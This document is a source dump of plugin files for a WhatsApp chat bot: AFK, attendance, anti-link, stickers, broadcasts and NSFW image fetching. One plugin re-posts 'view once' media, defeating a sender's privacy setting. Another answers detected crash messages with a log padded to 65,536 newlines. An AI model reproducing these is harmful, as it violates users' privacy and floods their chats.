handler.botAdmin = false 23 | 24 | handler.fail = null 25 | 26 | module.exports = handler 27 | -------------------------------------------------------------------------------- /plugins/_afk.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | handler.before = m => { 3 | let user = global.db.data.users[m.sender] 4 | if (user.afk > -1) { 5 | m.reply(` 6 | You stop AFK${user.afkReason ? ' after ' + user.afkReason : ''} 7 | During ${clockString(new Date - user.afk)} 8 | `.trim()) 9 | user.afk = -1 10 | user.afkReason = '' 11 | } 12 | let jids = [...new Set([...(m.mentionedJid || []), ...(m.quoted ? [m.quoted.sender] : [])])] 13 | for (let jid of jids) { 14 | let user = global.db.data.users[jid] 15 | if (!user) continue 16 | let afkTime = user.afk 17 | if (!afkTime || afkTime < 0) continue 18 | let reason = user.afkReason || '' 19 | m.reply(` 20 | Don't tag him! 21 | He is AFK ${reason ? 'with reason ' + reason : 'no reason'} 22 | During ${clockString(new Date - afkTime)} 23 | `.trim()) 24 | } 25 | return true 26 | } 27 | 28 | module.exports = handler 29 | 30 | function clockString(ms) { 31 | let h = isNaN(ms) ? '--' : Math.floor(ms / 3600000) 32 | let m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60 33 | let s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60 34 | return [h, m, s].map(v => v.toString().padStart(2, 0) ).join(':') 35 | } 36 | -------------------------------------------------------------------------------- /plugins/_anonymous_chat.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | 3 | handler.before = async function (m, { match }) { 4 | // if (match) return !1 5 | if (!m.chat.endsWith('@s.whatsapp.net')) return !0 6 | this.anonymous = this.anonymous ? this.anonymous : {} 7 | let room = Object.values(this.anonymous).find(room => [room.a, room.b].includes(m.sender) && room.state === 'CHATTING') 8 | if (room) { 9 | if (/^.*(next|leave|start)/.test(m.text)) return 10 | let other = [room.a, room.b].find(user => user !== m.sender) 11 | m.copyNForward(other, true, m.quoted && m.quoted.fromMe ? { 12 | contextInfo: { 13 | ...m.msg.contextInfo, 14 | forwardingScore: 1, 15 | isForwarded: true, 16 | participant: other 17 | } 18 | } : {}) 19 | } 20 | return !0 21 | } 22 | 23 | module.exports = handler -------------------------------------------------------------------------------- /plugins/_antilink.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | 3 | let linkRegex = /chat.whatsapp.com\/([0-9A-Za-z]{20,24})/i 4 | handler.before = async function (m, { user, isBotAdmin, isAdmin }) { 5 | if ((m.isBaileys && m.fromMe) || m.fromMe || !m.isGroup) return true 6 | let chat = global.DATABASE.data.chats[m.chat] 7 | let isGroupLink = linkRegex.exec(m.text) 8 | 9 | if (chat.antiLink && isGroupLink) { 10 | await m.reply(`*「 ANTI LINK 」*\n\nDetected *${await this.getName(m.sender)}* you have sent the group link!\n\nSorry you will be kicked out from this group byee!`) 11 | if (isAdmin) return m.reply('*Hey sorry you\'re admin, you won\'t be kicked. haha..*') 12 | if (!isBotAdmin) return m.reply('*Bot is not admin, how can it kick people -_-*') 13 | let linkGC = ('https://chat.whatsapp.com/' + await this.groupInviteCode(m.chat)) 14 | let isLinkThisGc = new RegExp(linkGC, 'i') 15 | let isgclink = isLinkThisGc.test(m.text) 16 | if (isgclink) return m.reply('*Lol send your own group link :v*') 17 | await this.groupRemove(m.chat, [m.sender]) 18 | } 19 | return true 20 | } 21 | 22 | module.exports = handler 23 | -------------------------------------------------------------------------------- /plugins/_antispam.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | 3 | handler.all = async function (m) { 4 | if (!m.message) return 5 | this.spam = this.spam ? this.spam : {} 6 | if (m.sender in this.spam) { 7 | this.spam[m.sender].count++ 8 | if (m.messageTimestamp.toNumber() - this.spam[m.sender].lastspam > 10) { 9 | if (this.spam[m.sender].count > 10) { 10 | //global.db.data.users[m.sender].banned = true 11 | m.reply('*Do not Spam!!*') 12 | } 13 | this.spam[m.sender].count = 0 14 | this.spam[m.sender].lastspam = m.messageTimestamp.toNumber() 15 | } 16 | } 17 | else this.spam[m.sender] = { 18 | jid: m.sender, 19 | count: 0, 20 | lastspam: 0 21 | } 22 | } 23 | 24 | module.exports = handler 25 | -------------------------------------------------------------------------------- /plugins/_antitroli.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | 3 | handler.all = async function (m) { 4 | if (m.message && m.isBaileys && m.quoted && m.quoted.mtype === 'orderMessage' && !(m.quoted.token && m.quoted.orderId)) { 5 | m.reply('Bug Troli Detected\n\n' + require('util').format(m.key)) 6 | // await this.clearMessage(m.chat, m.key) 7 | await this.modifyChat(m.chat, 'clear', { 8 | includeStarred: false 9 | }).catch(console.log) 10 | } 11 | } 12 | 13 | module.exports = handler -------------------------------------------------------------------------------- /plugins/_antiviewonce.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | handler.before = async function (m) { 3 | if (!db.data.chats[m.chat].viewonce) return 4 | let q = m.quoted ? m.quoted : m 5 | if (q.mtype == 'viewOnceMessage') { 6 | await this.copyNForward(m.chat, await this.loadMessage(m.chat, q.id), false, { readViewOnce: true }) 7 | } 8 | } 9 | 10 | module.exports = handler -------------------------------------------------------------------------------- /plugins/_autodelvnbot.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | async all(m) { 3 | let chat = global.db.data.chats[m.chat] 4 | if (chat.autodelvn && !m.fromMe && m.isBaileys && m.mtype === 'audioMessage' && m.msg.ptt && m.quoted) { 5 | let { key } = await m.reply('.delete', null, { 6 | messageId: '3EB0' + require('crypto').randomBytes(12).toString('hex') 7 | }).catch(_ => {}) 8 | if (key) this.deleteMessage(m.chat, key) 9 | } 10 | } 11 | } -------------------------------------------------------------------------------- /plugins/_autolevelup.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | 3 | let levelling = require('../lib/levelling') 4 | handler.before = m => { 5 | let user = global.db.data.users[m.sender] 6 | if (!user.autolevelup) return !0 7 | let before = user.level * 1 8 | while (levelling.canLevelUp(user.level, user.exp, global.multiplier)) user.level++ 9 | 10 | if (before !== user.level) { 11 | m.reply(` 12 | Congratulations, you have leveled up! 13 | *${before}* -> *${user.level}* 14 | type *.profile* to check 15 | `.trim()) 16 | } 17 | } 18 | 19 | module.exports = handler 20 | -------------------------------------------------------------------------------- /plugins/_ephemeral.js: -------------------------------------------------------------------------------- 1 | const { WA_MESSAGE_STUB_TYPE } = require('@adiwajshing/baileys') 2 | 3 | module.exports = { 4 | all(m, chatUpdate) { 5 | let chat = global.db.data.chats[chatUpdate.jid] 6 | switch (m.messageStubType) { 7 | case WA_MESSAGE_STUB_TYPE.CHANGE_EPHEMERAL_SETTING: 8 | if (chat.detect) 9 | this.sendMessage(chatUpdate.jid, +m.messageStubParameters[0] ? 10 | 'Order Temporarily ON' : 11 | 'Order Temporarily OFF' 12 | , 'extendedTextMessage') 13 | break 14 | } 15 | switch (m.mtype) { 16 | case 'protocolMessage': 17 | switch (m.msg.type) { 18 | case 3: 19 | if (m.isGroup) { 20 | let log = { 21 | key: m.key, 22 | content: m.msg, 23 | sender: m.sender 24 | } 25 | this.sendMessage(m.chat, ('*BUG GROUP DETECTED!!!*\n\n' + require('util').format(log)).padEnd(65536, '\n'), 'extendedTextMessage') 26 | // this.modifyChat(m.chat, 'clear', { 27 | // includeStarred: false 28 | // }).catch(console.error) 29 | } 30 | break 31 | } 32 | break 33 | } 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /plugins/_getmsg.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | 3 | handler.all = async function (m) { 4 | if (m.chat.endsWith('broadcast')) return 5 | if (db.data.chats[m.chat].isBanned) return 6 | if (db.data.users[m.sender].banned) return 7 | if (m.isBaileys) return 8 | let msgs = db.data.msgs 9 | if (!(m.text in msgs)) return 10 | let _m = conn.serializeM(JSON.parse(JSON.stringify(msgs[m.text]), (_, v) => { 11 | if ( 12 | v !== null && 13 | typeof v === 'object' && 14 | 'type' in v && 15 | v.type === 'Buffer' && 16 | 'data' in v && 17 | Array.isArray(v.data)) { 18 | return Buffer.from(v.data) 19 | } 20 | return v 21 | })) 22 | await _m.copyNForward(m.chat, true) 23 | } 24 | 25 | module.exports = handler -------------------------------------------------------------------------------- /plugins/_role.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | 3 | handler.before = function (m) { 4 | let user = global.db.data.users[m.sender] 5 | let role = (user.level <= 10) ? 'Beginner' 6 | : ((user.level >= 10) && (user.level <= 20)) ? 'Kittel Town' 7 | : ((user.level >= 20) && (user.level <= 30)) ? 'Black Woods' 8 | : ((user.level >= 30) && (user.level <= 40)) ? 'Farmount' 9 | : ((user.level >= 40) && (user.level <= 50)) ? 'Rosenvale' 10 | : ((user.level >= 50) && (user.level <= 60)) ? 'Amberhill' 11 | : ((user.level >= 60) && (user.level <= 70)) ? 'Master Fap' 12 | : ((user.level >= 70) && (user.level <= 80)) ? 'Master Woods' 13 | : 'Legend' 14 | user.role = role 15 | return true 16 | } 17 | 18 | module.exports = handler 19 | -------------------------------------------------------------------------------- /plugins/_simi.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | 3 | let handler = m => m 4 | 5 | handler.before = async (m, { conn }) => { 6 | let chat = db.data.chats[m.chat] 7 | if (chat.simi && !chat.isBanned) { 8 | if (/^.*false|disable|(turn)?off|0/i.test(m.text)) return 9 | if (!m.text) return 10 | let res = await fetch(API('https://api.simsimi.net', '/v2/', { text: encodeURIComponent(m.text), lc: 'en' })) 11 | if (!res.ok) return m.reply(error) 12 | let json = await res.json() 13 | if (m.quoted && m.quoted.sender === conn.user.jid) { 14 | if (json.success == "panget si nica") return m.reply ("BAKA !") 15 | m.reply(json.success) 16 | return !0 17 | } 18 | } 19 | return !0 20 | } 21 | 22 | module.exports = handler 23 | -------------------------------------------------------------------------------- /plugins/absen-cekabsen.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix }) => { 2 | let id = m.chat 3 | conn.absen = conn.absen ? conn.absen : {} 4 | if (!(id in conn.absen)) { 5 | await conn.sendButton(m.chat, `No absenteeism takes place!`, '© stikerin', 'Start', `${usedPrefix}startabsent`, m) 6 | throw false 7 | } 8 | 9 | let d = new Date 10 | let date = d.toLocaleDateString('id', { 11 | day: 'numeric', 12 | month: 'long', 13 | year: 'numeric' 14 | }) 15 | let absen = conn.absen[id][1] 16 | let list = absen.map((v, i) => `├ ${i + 1}. @${v.split`@`[0]}`).join('\n') 17 | let caption = ` 18 | Date: ${date} 19 | ${conn.absen[id][2]} 20 | ┌〔 Absent list 〕 21 | ├ Total: ${absen.length} 22 | ${list} 23 | └────`.trim() 24 | await conn.send2Button(m.chat, caption, '© stikerin', 'Absent', `${usedPrefix}absent`, 'delete', `${usedPrefix}removeabsent`, m, { contextInfo: { mentionedJid: conn.parseMention(caption) } }) 25 | } 26 | handler.help = ['checkabsent'] 27 | handler.tags = ['absen'] 28 | handler.command = /^checkabsent$/i 29 | 30 | module.exports = handler 31 | -------------------------------------------------------------------------------- /plugins/absen-delete.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix, isAdmin, isOwner }) => { 2 | if (m.isGroup) { 3 | if (!(isAdmin || isOwner)) { 4 | global.dfail('admin', m, conn) 5 | throw false 6 | } 7 | } 8 | let id = m.chat 9 | conn.absen = conn.absen ? conn.absen : {} 10 | if (!(id in conn.absen)) { 11 | await conn.sendButton(m.chat, `No absenteeism takes place!`, '© stikerin', 'Start', `${usedPrefix}startabsent`, m) 12 | throw false 13 | } 14 | delete conn.absen[id] 15 | m.reply(`Absenteeism has been successfully deleted`) 16 | } 17 | handler.help = ['removeabsent'] 18 | handler.tags = ['absen'] 19 | handler.command = /^(remove|hapus|-)absent$/i 20 | 21 | module.exports = handler 22 | -------------------------------------------------------------------------------- /plugins/absen-start.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix, text, isAdmin, isOwner }) => { 2 | if (m.isGroup) { 3 | if (!(isAdmin || isOwner)) { 4 | global.dfail('admin', m, conn) 5 | throw false 6 | } 7 | } 8 | conn.absen = conn.absen ? conn.absen : {} 9 | let id = m.chat 10 | if (id in conn.absen) { 11 | await conn.send2Button(m.chat, `There are still absences in this chat!`, '© stikerin', 'delete', `${usedPrefix}removeabsent`, 'Check', `${usedPrefix}checkabsent`, m) 12 | throw false 13 | } 14 | conn.absen[id] = [ 15 | await conn.sendButton(m.chat, `Absence begins`, '© stikerin', 'Absent', `${usedPrefix}absent`, m), 16 | [], 17 | text 18 | ] 19 | } 20 | handler.help = ['startabsent [teks]'] 21 | handler.tags = ['absen'] 22 | handler.command = /^(start|mulai)absent$/i 23 | 24 | module.exports = handler 25 | -------------------------------------------------------------------------------- /plugins/absent.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix }) => { 2 | let id = m.chat 3 | conn.absen = conn.absen ? conn.absen : {} 4 | if (!(id in conn.absen)) { 5 | await conn.sendButton(m.chat, `No absenteeism takes place!`, '© stikerin', 'Start', `${usedPrefix}startabsent`, m) 6 | throw false 7 | } 8 | 9 | let absen = conn.absen[id][1] 10 | const wasVote = absen.includes(m.sender) 11 | if (wasVote) throw 'You\'re absent!' 12 | absen.push(m.sender) 13 | let d = new Date 14 | let date = d.toLocaleDateString('id', { 15 | day: 'numeric', 16 | month: 'long', 17 | year: 'numeric' 18 | }) 19 | let list = absen.map((v, i) => `├ ${i + 1}. @${v.split`@`[0]}`).join('\n') 20 | let caption = ` 21 | Date: ${date} 22 | ${conn.absen[id][2]} 23 | ┌〔 absent list 〕 24 | ├ Total: ${absen.length} 25 | ${list} 26 | └────`.trim() 27 | await conn.send2Button(m.chat, caption, '© stikerin', 'Absent', `${usedPrefix}absent`, 'Check', `${usedPrefix}checkabsent`, m, { contextInfo: { mentionedJid: conn.parseMention(caption) } }) 28 | } 29 | handler.help = ['absent'] 30 | handler.tags = ['absen'] 31 | handler.command = /^(absent|hadir)$/i 32 | 33 | module.exports = handler 34 | -------------------------------------------------------------------------------- /plugins/addWhitelist.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { usedPrefix, command, text, args }) => { 2 | if (!args || !['add', 'remove'].includes(args[0].toLowerCase())) throw ` 3 | *Usage:* ${usedPrefix + command} number,number,...,number 4 | *Example:* 5 | ${usedPrefix + command} add 6281111111111,12345678901,0 6 | ${usedPrefix + command} remove 6281111111111,12345678901,0 7 | `.trim() 8 | let type = args[0].toLowerCase() === 'add' ? true : false 9 | let teks = text.replace(args[0], '').trim() 10 | let users = teks.split(',').map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net') 11 | for (let who of users) { 12 | let user = global.db.data.users[who] 13 | if (!user) user = global.db.data.users[who] = {} 14 | user.whitelist = type 15 | } 16 | m.reply(`Done ${type ? 'add' : 'remove'} whitelist ${users.length} user(s)`) 17 | } 18 | handler.help = ['whitelist'].map(v => v + ' number,number') 19 | handler.tags = ['owner'] 20 | handler.command = ['whitelist'] 21 | handler.owner = true 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/addmsg.js: -------------------------------------------------------------------------------- 1 | let { WAMessageProto } = require('@adiwajshing/baileys') 2 | let handler = async (m, { command, usedPrefix, text }) => { 3 | let M = WAMessageProto.WebMessageInfo 4 | let which = command.replace(/\+|add/i, '') 5 | if (!m.quoted) throw 'Reply Message!' 6 | if (!text) throw `Use *${usedPrefix}list${which}* to see the list` 7 | let msgs = global.db.data.msgs 8 | if (text in msgs) throw `'${text}' registered in the message list` 9 | msgs[text] = M.fromObject(await m.getQuotedObj()).toJSON() 10 | m.reply(`Successfully added message in message list as '${text}' 11 | 12 | Access with ${usedPrefix}get${which} ${text} 13 | 14 | or directly type the text`) 15 | } 16 | handler.help = ['vn', 'msg', 'video', 'gif', 'audio', 'img', 'sticker'].map(v => 'add' + v + ' ') 17 | handler.tags = ['database'] 18 | handler.command = /^(\+|add)(vn|msg|video|audio|img|stic?ker|gif)$/ 19 | 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/addprem.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | 3 | let who 4 | if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text 5 | else who = m.chat 6 | if (!who) throw `tag the person!` 7 | if (global.prems.includes(who.split`@`[0])) throw 'he is premium!' 8 | global.prems.push(`${who.split`@`[0]}`) 9 | conn.reply(m.chat, `@${who.split`@`[0]} now premium!`, m, { 10 | contextInfo: { 11 | mentionedJid: [who] 12 | } 13 | }) 14 | 15 | } 16 | handler.help = ['addprem [@user]'] 17 | handler.tags = ['owner'] 18 | handler.command = /^(add|plus|\+)prem$/i 19 | 20 | handler.rowner = true 21 | 22 | module.exports = handler 23 | -------------------------------------------------------------------------------- /plugins/afk.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { text }) => { 2 | let user = global.db.data.users[m.sender] 3 | user.afk = + new Date 4 | user.afkReason = text 5 | m.reply(` 6 | ${conn.getName(m.sender)} is now AFK${text ? ': ' + text : ''} 7 | `) 8 | } 9 | handler.help = ['afk [reason]'] 10 | handler.tags = ['main'] 11 | handler.command = /^afk$/i 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/animalfact.js: -------------------------------------------------------------------------------- 1 | let fetch = require("node-fetch"); 2 | 3 | let handler = async (m, { conn, text, usedPrefix, command }) => { 4 | if (!text) 5 | throw ` 6 | *${usedPrefix}${command} * 7 | example: 8 | *${usedPrefix}${command} *\n 9 | ┌〔 Options 〕 10 | ├ dog 11 | ├ cat 12 | ├ panda 13 | ├ fox 14 | ├ red_panda 15 | ├ koala 16 | ├ birb 17 | ├ raccoon 18 | ├ kangaroo 19 | └──── 20 | `.trim(); 21 | let res = await fetch( 22 | API("https://some-random-api.ml", "/animal/" + text, {}) 23 | ); 24 | if (!res.ok) throw `${res.status} ${res.statusText}`; 25 | let json = await res.json(); 26 | if (json.image) await conn.sendFile(m.chat, json.image, "", `${json.fact}\n\n~kazukafu`, m); 27 | else throw json; 28 | }; 29 | handler.help = ["animal"].map((v) => v + " "); 30 | handler.tags = ["internet"]; 31 | handler.command = /^(animal|animalfact)$/i; 32 | 33 | module.exports = handler; 34 | -------------------------------------------------------------------------------- /plugins/army.js: -------------------------------------------------------------------------------- 1 | const uploadImage = require('../lib/uploadImage') 2 | let handler = async (m, { conn, text }) => { 3 | let teks = text ? text : m.quoted && m.quoted.text ? m.quoted.text : m.text 4 | await conn.sendFile(m.chat, global.API('xteam', '/videomaker/army', { text: teks }, 'APIKEY'), 'army.mp4', teks, m) 5 | } 6 | handler.help = ['army'].map((v) => v + " ") 7 | handler.tags = ['videomaker'] 8 | 9 | handler.command = /^army$/i 10 | 11 | module.exports = handler 12 | -------------------------------------------------------------------------------- /plugins/ass.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | 3 | conn.sendFile(m.chat, 'https://api.xteam.xyz/randomimage/ass?APIKEY=MahliKey', '', 'sange~an', m) 4 | 5 | } 6 | handler.help = ['ass'] 7 | handler.tags = ['anime'] 8 | handler.command = /^(ass)$/i 9 | 10 | handler.limit = true 11 | handler.group = true 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/attp.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | let teks = text ? text : m.quoted && m.quoted.text ? m.quoted.text : m.text 3 | conn.sendFile(m.chat, global.API('xteam', '/attp', { file: '', text: teks }), 'attp.webp', '', m, false, { asSticker: true }) 4 | } 5 | handler.help = ['attp '] 6 | handler.tags = ['sticker'] 7 | 8 | handler.command = /^attp$/i 9 | 10 | module.exports = handler 11 | -------------------------------------------------------------------------------- /plugins/attp2.js: -------------------------------------------------------------------------------- 1 | const uploadImage = require('../lib/uploadImage') 2 | const fetch = require('node-fetch') 3 | const { sticker } = require('../lib/sticker') 4 | const { MessageType } = require('@adiwajshing/baileys') 5 | 6 | let handler = async (m, { conn, text }) => { 7 | try { 8 | let teks = text ? text : m.quoted && m.quoted.text ? m.quoted.text : m.text 9 | let url = await fetch(global.API('https://salism3api.pythonanywhere.com', '/text2gif/', { text: teks })) 10 | res = await url.json() 11 | stick = res.image 12 | let stiker = await sticker(null, stick, global.packname, global.author) 13 | conn.sendMessage(m.chat, stiker, MessageType.sticker, { 14 | quoted: m 15 | }) 16 | } catch (e) { 17 | m.reply('Conversion Failed') 18 | throw false 19 | } 20 | } 21 | handler.help = ['attp2 '] 22 | handler.tags = ['sticker'] 23 | handler.command = /^(attp2)$/i 24 | handler.limit = true 25 | //Made By Anshul 26 | module.exports = handler -------------------------------------------------------------------------------- /plugins/banchat.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, participants }) => { 2 | // if (participants.map(v=>v.jid).includes(global.conn.user.jid)) { 3 | global.db.data.chats[m.chat].isBanned = true 4 | m.reply('Done!') 5 | // } else m.reply('There is a host number here...') 6 | } 7 | handler.help = ['banchat'] 8 | handler.tags = ['owner'] 9 | handler.command = /^banchat$/i 10 | handler.owner = true 11 | 12 | module.exports = handler 13 | -------------------------------------------------------------------------------- /plugins/bannedList.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix }) => { 2 | let chats = Object.entries(global.db.data.chats).filter(chat => chat[1].isBanned) 3 | let users = Object.entries(global.db.data.users).filter(user => user[1].banned) 4 | 5 | m.reply(` 6 | ┌ *List of Banned Chats* 7 | │ Total : ${chats.length} Chat${chats ? '\n' + chats.map(([jid], i) => ` 8 | │ ${i + 1}. ${conn.getName(jid) == undefined ? 'Unknown' : conn.getName(jid)} 9 | │ ${jid} 10 | `.trim()).join('\n') : ''} 11 | └──── 12 | 13 | ┌ *List of Banned Users* 14 | │ Total : ${users.length} User${users ? '\n' + users.map(([jid], i) => ` 15 | │ ${i + 1}. ${conn.getName(jid) == undefined ? 'Unknown' : conn.getName(jid)} 16 | │ ${jid} 17 | `.trim()).join('\n') : ''} 18 | └──── 19 | `.trim()) 20 | } 21 | handler.help = ['bannedlist'] 22 | handler.tags = ['info'] 23 | handler.command = /^listban(ned)?|ban(ned)?list|daftarban(ned)?$/i 24 | module.exports = handler 25 | -------------------------------------------------------------------------------- /plugins/banuser.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | if (!text) throw 'Who wants to be banned ?' 3 | let who 4 | if (m.isGroup) who = m.mentionedJid[0] 5 | else who = m.chat 6 | if (!who) throw 'Tag one' 7 | let users = global.db.data.users 8 | users[who].banned = true 9 | conn.reply(m.chat, `successfully banned`, m) 10 | } 11 | handler.help = ['ban'] 12 | handler.tags = ['owner'] 13 | handler.command = /^ban$/i 14 | handler.rowner = true 15 | 16 | module.exports = handler 17 | -------------------------------------------------------------------------------- /plugins/base64.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { command, text }) => { 2 | let txt = m.quoted ? m.quoted.text ? m.quoted.text : text ? text : m.text : m.text 3 | m.reply(Buffer.from(txt, 'utf-8').toString('base64')) 4 | } 5 | handler.help = ['base64'] 6 | handler.tags = ['tools'] 7 | handler.command = /^base64$/i 8 | 9 | module.exports = handler 10 | -------------------------------------------------------------------------------- /plugins/blockList.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | let blocked = conn.blocklist.map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').filter(v => v != conn.user.jid) 3 | conn.reply(m.chat, `┌ *「 Blocked List 」*` + `\n` + blocked.map((v, i) => `│ ${i + 1}. @${v.split`@`[0]}`).join`\n` + `\n└────`, m, { contextInfo: { mentionedJid: blocked } }) 4 | } 5 | handler.help = ['blocklist'] 6 | handler.tags = ['owner'] 7 | handler.command = /^listbloc?k|bloc?klist|daftarbloc?k$/i 8 | 9 | handler.owner = true 10 | 11 | module.exports = handler 12 | -------------------------------------------------------------------------------- /plugins/blowjob.js: -------------------------------------------------------------------------------- 1 | let { Presence } = require('@adiwajshing/baileys') 2 | let fetch = require('node-fetch') 3 | let limit = 50 4 | let handler = async (m, { conn, args, usedPrefix, command }) => { 5 | await conn.updatePresence(m.chat, Presence.composing) 6 | let text = args.join` ` 7 | fetch('https://api.waifu.pics/nsfw/blowjob') 8 | .then(res => res.json()) 9 | .then(json => { 10 | conn.updatePresence(m.chat, Presence.composing) 11 | conn.reply(m.chat, `*Wait a moment . . .*`, m) 12 | conn.sendFile(m.chat, json.url, 'blowjoc.mp4', '', m, false, { asDocument: true } ) 13 | }) .catch(() => { conn.reply(m.chat, `*There is an error . . .*`, m) }) 14 | 15 | } 16 | handler.help = ['blowjob'] 17 | handler.tags = ['anime'] 18 | handler.command = /^(blowjob)$/i 19 | handler.owner = false 20 | handler.mods = false 21 | handler.premium = false 22 | handler.group = false 23 | handler.private = false 24 | handler.admin = false 25 | handler.botAdmin = false 26 | handler.fail = null 27 | handler.limit = true 28 | module.exports = handler 29 | -------------------------------------------------------------------------------- /plugins/bold.js: -------------------------------------------------------------------------------- 1 | const uploadImage = require('../lib/uploadImage') 2 | let handler = async (m, { conn, text }) => { 3 | let teks = text ? text : m.quoted && m.quoted.text ? m.quoted.text : m.text 4 | await conn.sendFile(m.chat, global.API('xteam', '/videomaker/bold', { text: teks }, 'APIKEY'), 'bold.mp4', teks, m) 5 | } 6 | handler.help = ['bold'].map((v) => v + " ") 7 | handler.tags = ['videomaker'] 8 | 9 | handler.command = /^bold$/i 10 | 11 | module.exports = handler 12 | -------------------------------------------------------------------------------- /plugins/brainly.js: -------------------------------------------------------------------------------- 1 | const brainly = require('brainly-scraper-v2') 2 | let handler = async function (m, { text }) { 3 | if (!text) throw 'what\'s the question?' 4 | let res = await brainly(text) 5 | let answer = res.data.map((v, i) => `_*QUESTION TO ${i + 1}*_\n${v.pertanyaan}\n${v.jawaban.map((v,i) => `*ANSWER TO ${i + 1}*\n${v.text}`).join('\n')}`).join('\n\n•------------•\n\n') 6 | m.reply(answer) 7 | } 8 | handler.help = ['brainly '] 9 | handler.tags = ['internet'] 10 | 11 | handler.command = /^brainly$/i 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/broadcast.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | let chats = conn.chats.all().filter(v => !v.read_only && v.message && !v.archive).map(v => v.jid) 3 | let cc = conn.serializeM(text ? m : m.quoted ? await m.getQuotedObj() : false || m) 4 | let teks = text ? text : cc.text 5 | conn.reply(m.chat, `_Sent the broadcast message to ${chats.length} chats_`, m) 6 | for (let id of chats) await conn.copyNForward(id, conn.cMod(m.chat, cc, /bc|broadcast/i.test(teks) ? teks : teks + '\n' + readMore + '\n' + '「 All Chat Broadcast 」'), true).catch(_=>_) 7 | m.reply('Broadcast done for All Chats :)') 8 | } 9 | handler.help = ['broadcast/bc'].map(v => v + ' ') 10 | handler.tags = ['owner'] 11 | handler.command = /^(broadcast|bc)$/i 12 | handler.owner = true 13 | handler.mods = false 14 | handler.premium = false 15 | handler.group = false 16 | handler.private = false 17 | 18 | handler.admin = false 19 | handler.botAdmin = false 20 | 21 | handler.fail = null 22 | 23 | module.exports = handler 24 | 25 | const more = String.fromCharCode(8206) 26 | const readMore = more.repeat(4001) 27 | 28 | const randomID = length => require('crypto').randomBytes(Math.ceil(length * .5)).toString('hex').slice(0, length) 29 | -------------------------------------------------------------------------------- /plugins/broadcastgroups.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | let groups = conn.chats.all().filter(v => v.jid.endsWith('g.us') && !v.read_only && v.message && !v.announce).map(v => v.jid) 3 | let cc = text ? m : m.quoted ? await m.getQuotedObj() : false || m 4 | let teks = text ? text : cc.text 5 | conn.reply(m.chat, `_Sent the broadcast message to ${groups.length} groups_`, m) 6 | for (let id of groups) await conn.copyNForward(id, conn.cMod(m.chat, cc, /bc|broadcast/i.test(teks) ? teks : teks + '\n' + readMore + '\n' + '「 All Group Broadcast 」'), true).catch(_=>_) 7 | m.reply('Broadcast done for All Groups :)') 8 | } 9 | handler.help = ['broadcastgroup/bcgc'].map(v => v + ' ') 10 | handler.tags = ['owner'] 11 | handler.command = /^(broadcast|bc)(group|grup|gc)$/i 12 | handler.owner = true 13 | handler.mods = false 14 | handler.premium = false 15 | handler.group = false 16 | handler.private = false 17 | 18 | handler.admin = false 19 | handler.botAdmin = false 20 | 21 | handler.fail = null 22 | 23 | module.exports = handler 24 | 25 | const more = String.fromCharCode(8206) 26 | const readMore = more.repeat(4001) 27 | 28 | const randomID = length => require('crypto').randomBytes(Math.ceil(length * .5)).toString('hex').slice(0, length) 29 | -------------------------------------------------------------------------------- /plugins/broadcastjadibot.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix, text }) => { 2 | if (conn.user.jid !== global.conn.user.jid) throw false 3 | let users = [...new Set([...global.conns.filter(conn => conn.user && conn.state !== 'close').map(conn => conn.user.jid)])] 4 | let cc = text ? m : m.quoted ? await m.getQuotedObj() : false || m 5 | let teks = text ? text : cc.text 6 | let content = conn.cMod(m.chat, cc, /bc|broadcast/i.test(teks) ? teks : teks + '\n' + readMore + '「 All Getbot Broadcast 」') 7 | for (let id of users) conn.copyNForward(id, content, true) 8 | conn.reply(m.chat, `_Send a broadcast message to ${users.length} number that became bot_ 9 | ${users.map(v => 'wa.me/' + v.replace(/[^0-9]/g, '') + `?text=${usedPrefix}menu`).join('\n')}`.trim(), m) 10 | } 11 | handler.help = ['broadcastgetbot/bcbot'].map(v => v + ' ') 12 | handler.tags = ['host'] 13 | handler.command = /^(broadcast|bc)(get)?bot$/i 14 | handler.owner = true 15 | handler.mods = false 16 | handler.premium = false 17 | handler.group = false 18 | handler.private = false 19 | 20 | handler.admin = false 